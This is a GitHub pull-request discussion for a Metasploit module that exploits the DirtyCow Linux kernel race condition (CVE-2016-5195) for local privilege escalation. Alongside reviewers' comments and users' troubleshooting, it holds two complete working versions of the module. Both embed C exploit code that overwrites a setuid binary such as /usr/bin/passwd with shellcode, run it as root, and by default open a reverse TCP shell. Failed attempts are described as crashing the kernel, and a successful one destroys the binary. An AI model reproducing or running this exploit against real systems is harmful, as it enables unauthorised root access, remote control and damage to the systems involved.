-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CVE-2016-5195 - DirtyCow privilege escalation #7476
Conversation
def initialize(info={}) | ||
super(update_info(info, { | ||
'Name' => 'Linux Kernel DirtyCow Local Privilege Escation', | ||
'Description' => %q{ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
no mention of which kernels are vulnerable
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @h00die . https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails says
The bug has existed since around 2.6.22 (released in 2007)
def check
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
if kernel >= Gem::Version.new('2.6.22')
return CheckCode::Appears
else
return CheckCode::Safe
end
end
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
this is scary , our college library uses some modified version of ubuntu called koha i think it is using this old kernal
write_file("#{evil_path}.c", main) | ||
print_status("Compiling #{evil_path}.c via gcc") | ||
|
||
output = cmd_exec("/usr/bin/gcc -pthread -o #{evil_path}.out #{evil_path}.c") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This makes the assumption gcc is installed and in that path. I'd put in a check to see if GCC is there or not, similar to https://github.com/rapid7/metasploit-framework/pull/7402/files#diff-97a861419258a173797265eb4a35a110R170
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please add a binary-dropping method as well. It's not ideal, but neither is shelling out to GCC, and you're already writing the source to disk. Preferably, you should have the option of either.
print_status('Starting the payload handler...') | ||
handler({}) | ||
|
||
print_status("Executing at #{Time.now}. May take up to 10min for callback") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is 10min what you're seeing or was this just a copy/paste from another sploit?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It takes a minute or two on my test device, up to ten minutes sounds believable.
Its optional, but I'd love to see a md for documentation :) |
[ 'Linux x64', { 'Arch' => ARCH_X86_64 }] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Oct 19 1026' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
2016?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
CVE-2016-5195 definitely works on more than just x86/x64. I tested it on ARM and it worked fine.
[ 'Linux x64', { 'Arch' => ARCH_X86_64 }] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Oct 19 2016' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You probably want this to avoid having to do setuid syscalls from a cmd shell:
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetuid' => true
},
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If DefaultOptions is set, the payload will crash.
For all people testing this, please let us know what you're having success against. @nixawk and @Manouchehri a |
Main issue in testing is that gcc is often not on the target. I took a first pass at Metasm this evening, and got to -http://pastebin.com/T8Xa1KgT
If anyone wants to pick up at that method, please feel free, not sure how much time i'll have tomorrow/today. EDIT 2: Also seeing this crash on occasion when using this version of the exploit C code - http://pastebin.com/GdJ6ki31. Looks like mpage_prepare_extent_to_map doesnt like the race... |
I am sorry,but there is always an error : "Exploit failed: Msf::OptionValidateError The following options failed to validate: SESSION." |
print_status('Starting the payload handler...') | ||
handler({}) | ||
|
||
print_status("Executing at #{Time.now}.") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What is this for? Does WfsDelay
not work for you?
@nixawk: The irony here is that I wrote my own module on Friday based on the same PoC, but I unassigned myself from the ticket because I was getting consistent crashes, and there were much better PoCs being released. I'm going to do my review here and then back out. |
output = cmd_exec("chmod +x #{evil_path}.out; #{evil_path}.out") | ||
output.each_line { |line| vprint_status(line.chomp) } | ||
|
||
register_file_for_cleanup("#{evil_path}.c") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You should restore /usr/bin/passwd
from /tmp/bak
, then clean up /tmp/bak
. Ideally, you should make the SUID binary and location of bak
configurable.
|
||
char suid_binary[] = "/usr/bin/passwd"; | ||
|
||
SHELLCODE |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Curiously, you don't even need to do this if you have a watchdog checking for root. It's nice that the payload is within the PoC, though.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@wvu-r7 Sorry for my poor english. What's the meaning of the word watchdog ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm slightly abusing the term here. In this case, it's a check for root that doesn't execute the payload if it times out. I've been able to get away without a loop, though, due to how cmd_exec
works. YMMV.
@wvu-r7 When a root session is gained, OS hangs. The Poc code needs to be improved. |
@wvu-r7 |
@nixawk This exploit does it : https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43 |
@wvu-r7 |
Remember that some systems doesn't allow to write on |
This sploit https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43 works well and stable, no freezing on: You need proper casting and preventing filesystem callbacks: |
That's embedded within the shellcode, though, and the module here inserts its own shellcode. You'll want to use something like |
Thanks @wvu-r7 . It works. X64 LabUbuntu 10.04 LTS x64
Demo
|
the code still crashes on my VM. The code inside |
@henshin DirtyCow works against linux X86. payload/linux/x86/shell_reverse_tcp is more stable than payload/generic/shell_reverse_tcp. X86 Lab
Demo
|
@nixawk yes, you're right. Stability depends on the payloads. |
Everyone, please don't use the Linux Meterpreter. It's really ill-advised. Development is focusing on Mettle now, and Linux (POSIX) Meterpreter will be going away in the future. |
@nixawk I was trying your exploit code locally and got an GCC error while compiling:
I fixed this by adding
and it compiled so you might want to add this include. |
Please help me `msf exploit(dirtycow) > run [] [2016.11.30-13:15:53] Started reverse TCP handler on 192.168.1.2:4444 Can someone please tell me whats going on here `msf exploit(dirtycow) > gcc --version gcc (Debian/Linaro 4.4.7-2) 4.4.7 g++ (Debian/Linaro 4.4.7-2) 4.4.7 msf exploit(dirtycow) > Could really do with your help lads thank you. |
Thanks @firefart. Sorry for the delay. I'll check it later. |
@nixawk: No worries. Take your time. Please entertain my outstanding comments, though. I want this one in the tree. Thank you! |
Closed due to lack of activity. If future work on this occurs, please submit a new PR and we'll start with a clean slate. |
For those playing along at home, I cleaned this module up a bit (see below). It's equally as flaky as it ever was - but now it's prettier :) The module will not work with meterpreter payloads. Using command shell payloads works, however the session dies shortly after. The issues are most likely due to the way Metasploit handles executing commands on a new session with This is also why, even though I've added Tested on Fedora 23 Server (x64) kernel 4.2.3-300.fc23.x86_64.
Output from another run, demonstrating session longevity (~15 seconds):
I lost interest and won't be making any additional progress. ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel DirtyCow Local Privilege Escalation',
'Description' => %q{
This module exploits a race condition in the way the Linux kernel's
memory subsystem handled the copy-on-write (COW) breakage of private
read-only memory mappings. An unprivileged local user could use
this flaw to gain write access to otherwise read-only memory mappings
and thus increase their privileges on the system.
The bug has existed since around Linux Kernel 2.6.22 (released in 2007).
Note, failed exploitation attempts will likely crash the kernel.
},
'License' => MSF_LICENSE,
'Author' => [
'Phil Oester', # Vulnerability Discovery
'Robin Verton', # cowroot.c developer
'Nixawk' # original module developer
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
['CVE', '2016-5195'],
['URL', 'https://dirtycow.ninja/'],
['URL', 'https://github.com/dirtycow/dirtycow.github.io/issues/25'],
['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails'],
['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs'],
['URL', 'https://access.redhat.com/security/cve/cve-2016-5195'],
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619']
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 }],
[ 'Linux x64', { 'Arch' => ARCH_X64 }]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/x86/shell_reverse_tcp',
'PrependSetresuid' => true,
'PrependSetuid' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 19 2016'))
register_options([
OptString.new('WritableDir', [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/usr/bin/passwd' ])
])
end
def base_dir
datastore['WritableDir']
end
def suid_exe_path
datastore['SUID_EXECUTABLE']
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
#register_file_for_cleanup path
end
def check
version = Gem::Version.new kernel_release.split('-').first
if version.to_s.eql? ''
vprint_error 'Could not determine the kernel version'
return CheckCode::Unknown
end
unless version >= Gem::Version.new('2.6.22')
vprint_error "Kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
# This could use some improvement for 4.x kernel release parsing...
if (version <= Gem::Version.new('4.4.26')) ||
(version.to_s.start_with?('4.7.') && version < Gem::Version.new('4.7.9')) ||
(version.to_s.start_with?('4.8.') && version < Gem::Version.new('4.8.3'))
vprint_good "Kernel version #{version} appears to be vulnerable"
return CheckCode::Appears
end
vprint_error "Kernel version #{version} may or may not be vulnerable"
CheckCode::Unknown
end
def on_new_session(session)
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c \"echo 0 > /proc/sys/vm/dirty_writeback_centisecs\""
elsif session.type.to_s.eql? 'shell'
client.shell_command_token 'echo 0 > /proc/sys/vm/dirty_writeback_centisecs'
end
end
def exploit
if check == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
main = %q^
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1, pth2, pth3;
char suid_binary[] = "SUID_EXECUTABLE";
SHELLCODE
unsigned int shellcode_size = 0;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i, c=0;
for(i=0; i<1000000 && !stop; i++) {
c += madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str = (char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i, c=0;
for(i=0; i<1000000 && !stop; i++) {
lseek(f, map, SEEK_SET);
c += write(f, str, shellcode_size);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[shellcode_size];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, shellcode_size, 1, fp);
if(memcmp(buf, shellcode, shellcode_size) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
system(suid_binary);
}
int main(int argc, char *argv[]) {
char *backup;
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, shellcode, shellcode_size+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
^
payload_file = generate_payload_exe
main.gsub!(/SUID_EXECUTABLE/, suid_exe_path)
main.gsub!(/SHELLCODE/) do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c payload_file, 64, 'shellcode'
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload_file.length}")
evil_path = "#{base_dir}/#{Rex::Text.rand_text_alpha 8..12}"
upload "#{evil_path}.c", main
print_status "Compiling #{evil_path}.c via gcc"
output = cmd_exec "/usr/bin/gcc -pthread -o #{evil_path}.out #{evil_path}.c"
unless output.eql? ''
print_error "Compilation failed: #{output}"
return
end
#register_file_for_cleanup "#{evil_path}.out"
print_status "Executing payload at #{Time.now}..."
cmd_exec "chmod +x #{evil_path}.out"
output = cmd_exec "#{evil_path}.out"
output.each_line { |line| vprint_status line.chomp }
end
end |
I'm back for another round. The below exploit is reliable (at least on the single system I bothered to test), and supports both command shell sessions and meterpreter sessions, and both command shell payloads and meterpreter payloads, with two huge caveats:
This is a restriction with using the SUID executable technique; although could probably be worked around. Presumably, overwriting the specified
Enjoy:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel DirtyCow Local Privilege Escalation',
'Description' => %q{
This module exploits a race condition in the way the Linux kernel's
memory subsystem handled the copy-on-write (COW) breakage of private
read-only memory mappings. An unprivileged local user could use
this flaw to gain write access to otherwise read-only memory mappings
and thus increase their privileges on the system.
The bug has existed since around Linux Kernel 2.6.22 (released in 2007).
Note, failed exploitation attempts will likely crash the kernel.
Successful explotiation will replace the specified setuid binary.
This module has been tested successfully on:
Fedora 23 Server kernel 4.2.3-300.fc23.x86_64 (X64)
},
'License' => MSF_LICENSE,
'Author' => [
'Phil Oester', # Vulnerability discovery
'Robin Verton', # cowroot.c exploit
'Nixawk', # Metasploit
'bcoles', # Metasploit
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
['CVE', '2016-5195'],
['URL', 'https://dirtycow.ninja/'],
['URL', 'https://github.com/dirtycow/dirtycow.github.io/issues/25'],
['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails'],
['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs'],
['URL', 'https://access.redhat.com/security/cve/cve-2016-5195'],
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619']
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 }],
[ 'Linux x64', { 'Arch' => ARCH_X64 }]
],
'DefaultOptions' =>
{
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
'PrependFork' => true,
'PAYLOAD' => 'linux/x86/shell_reverse_tcp'
},
'DisclosureDate' => 'Oct 19 2016',
'DefaultTarget' => 0))
register_options([
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/usr/bin/passwd'])
])
register_advanced_options([
OptString.new('WritableDir', [true, "A directory where we can write files (must not be mounted noexec)", '/tmp'])
])
end
def base_dir
datastore['WritableDir']
end
def suid_exe_path
datastore['SUID_EXECUTABLE']
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
unless gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end
output = cmd_exec gcc_cmd
unless output.blank?
# Uncomment this when the exploit code doesn't throw a bunch of warnings
#fail_with Failure::Unknown, "#{path}.c failed to compile"
# Until then:
print_error 'Compiling failed:'
print_line output
end
register_file_for_cleanup path
chmod path
end
def check
if selinux_installed?
if selinux_enforcing?
vprint_error 'SELinux is enforcing'
return CheckCode::Safe
end
vprint_good 'SELinux is permissive'
else
vprint_good 'SELinux is not installed'
end
version = Gem::Version.new kernel_release.split('-').first
if version.to_s.eql? ''
vprint_error 'Could not determine the kernel version'
return CheckCode::Unknown
end
unless version >= Gem::Version.new('2.6.22') && version < Gem::Version.new('4.8.3')
vprint_error "Kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
# This could use some improvement for 4.x kernel release parsing...
if (version <= Gem::Version.new('4.4.26')) ||
(version >= Gem::Version.new('4.7') && version < Gem::Version.new('4.7.9')) ||
(version >= Gem::Version.new('4.8') && version < Gem::Version.new('4.8.3'))
vprint_good "Kernel version #{version} appears to be vulnerable"
return CheckCode::Appears
end
vprint_error "Kernel version #{version} may or may not be vulnerable"
CheckCode::Unknown
end
def on_new_session(session)
print_status "Setting '/proc/sys/vm/dirty_writeback_centisecs' to '0'..."
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', '-c "echo 0 > /proc/sys/vm/dirty_writeback_centisecs"'
elsif session.type.to_s.eql? 'shell'
session.shell_command_token 'echo 0 > /proc/sys/vm/dirty_writeback_centisecs'
end
ensure
super
end
def exploit
if check == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless setuid? suid_exe_path
fail_with Failure::BadConfig, "#{suid_exe_path} is not setuid"
end
unless cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include? 'true'
fail_with Failure::BadConfig, "#{suid_exe_path} is not readable"
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
main = %q^
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1, pth2, pth3;
char suid_binary[] = "SUID_EXECUTABLE";
SHELLCODE
unsigned int shellcode_size = 0;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i, c=0;
for(i=0; i<1000000 && !stop; i++) {
c += madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str = (char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i, c=0;
for(i=0; i<1000000 && !stop; i++) {
lseek(f, map, SEEK_SET);
c += write(f, str, shellcode_size);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[shellcode_size];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, shellcode_size, 1, fp);
if(memcmp(buf, shellcode, shellcode_size) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
system(suid_binary);
}
int main(int argc, char *argv[]) {
char *backup;
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, shellcode, shellcode_size+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
^
payload_file = generate_payload_exe
exploit_path = "#{base_dir}/.#{Rex::Text.rand_text_alpha 8..12}"
backup_path = "#{base_dir}/.#{Rex::Text.rand_text_alpha 8..12}"
main.gsub!('SUID_EXECUTABLE', suid_exe_path)
main.gsub!('/tmp/bak', backup_path)
main.gsub!('SHELLCODE') do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c payload_file, 64, 'shellcode'
end
main.gsub!('shellcode_size = 0', "shellcode_size = #{payload_file.length}")
upload_and_compile exploit_path, strip_comments(main), '-pthread'
print_status 'Launching exploit...'
cmd_exec "#{exploit_path} & echo "
end
end
|
Nice work. Do you feel like opening a new pull request? I can help test and land |
@timwr No thanks. Vaporizing system executables with no option of recovery is lame and unacceptable. The above exploit exists for anyone who wants to take the risk and knows how to copy/paste. This PR thread is also linked from the Dirtycow PoCs page so people can find it. |
Tell us what this change does. If you're fixing a bug, please mention
the github issue number.
Verification
List the steps needed to make sure this thing works
msfconsole
use exploit/linux/local/dirtycow
set SESSION 1